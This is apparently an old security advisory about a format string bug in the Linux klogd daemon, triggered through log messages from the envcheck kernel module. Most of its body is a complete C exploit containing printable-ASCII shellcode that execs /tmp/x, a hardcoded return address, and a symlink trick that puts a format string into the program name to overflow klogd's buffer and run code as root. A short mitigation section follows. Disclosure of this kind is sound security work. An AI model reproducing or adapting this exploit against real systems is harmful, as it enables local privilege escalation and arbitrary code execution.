COMMAND

    klogd

SYSTEMS AFFECTED

    Linux

PROBLEM

    Esa Etelavuori found  following.  Envcheck  is a Linux/x86  kernel
    module  which  strips   dangerous  environment  variables   before
    executing  a  new  program,  and  which  can  be used to log these
    probably threatening events.   It was mentioned  on this list  two
    weeks ago.  However, a recent format string handling bug in  klogd
    allows an attacker  to overflow its  buffer and execute  arbitrary
    code.  The problem from attacker's viewpoint is that usual  kernel
    messages  contain  so  few  attacker-controlled  characters   that
    exploiting it might not be possible at all or is kernel specific.

    Snipped from envcheck.c (wrapped):

        if (strchr(&string1[env_lang_len[j]], '/')) {
            if (verbose) {
                sanitise(string1);
                printk(KERN_INFO "envcheck: %.30s (uid=%d)
                        discarded locale variable with /: %s\n",
                        current->comm, current->uid, string1);

    Verbose is  enabled by  default.   String1 can  be 64  characters.
    Sanitise()  filters  non-printable  ASCII  characters  (<0x20  and
    >0x7e).   Custom  shell  code  has  to  be  made,  for  which  our
    favourite insecurity architecture is suitable so well.

    Return  address  has  to  contain  other  characters  so program's
    filename will be used.  It is limited to  15 characters but it  is
    enough for a  format string which  overflows the 2048  byte buffer
    in klogd's  vsyslog() and  overwrites the  return address.   In  a
    successful attack/DoS  uid will  not be  even logged  due to  long
    format padding.

    /*
     * Linux/x86 klogd exploit using envcheck by
     * Esa Etelavuori (www.iki.fi/ee/) in 2k0912
     * Tested on Red Hat 6.2 / Celeron A & P2.
     * You need some skillz to use this.
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    #define RETADDR    0xbffffdab
    
    int main(int ac, char **av)
    {
        char sting[] = "./[<%2009xAAAABBB";
        /* Self-modifying code using 0x20 - 0x7e chars and execing /tmp/x.
         * May need tuning for correct %esp offset (%ebx) for modification
         * of last two bytes which are transformed into int 0x80. */
        char *venom = "LC_ALL="
            "T[fhBOfXf5B@f1ChjAX4APPZHf1Chfh/xh/tmpT[RSTYjOX4D2p";
    
        if (ac != 1 && ac != 2) {
            fprintf(stderr, "usage: %s [return address]\n", av[0]);
            exit(1);
        }
    
        if (ac == 2 && av[1][0] == '-') {
            printf("done\n");
            exit(0);
        }
        else if (ac == 2 && av[1][0] == '+') {
            if (putenv(venom)) {
                perror("putenv");
                exit(1);
            }
            execl(av[0], av[0], "-", NULL);
        }
        else {
            *(unsigned long *)(&sting[strlen(sting) - 4 - 3])
                = ac == 1 ? RETADDR: strtoul(av[1], NULL, 0);
            if (symlink(av[0], sting)) {
                perror("symlink");
                exit(1);
            }
            execl(sting, sting, "+", NULL);
        }
    
        perror("execl");
        exit(1);
    }

SOLUTION

    New  version  of  envcheck  has  been  released  which  does extra
    filtering. In this particular  case it does not  necessarily help,
    because envcheck can be used to inject the shellcode into  klogd's
    stack, and another shorter kernel  message can be used to  trigger
    the payload.

    Klogd should not run as root on 2.2+ kernels anyway.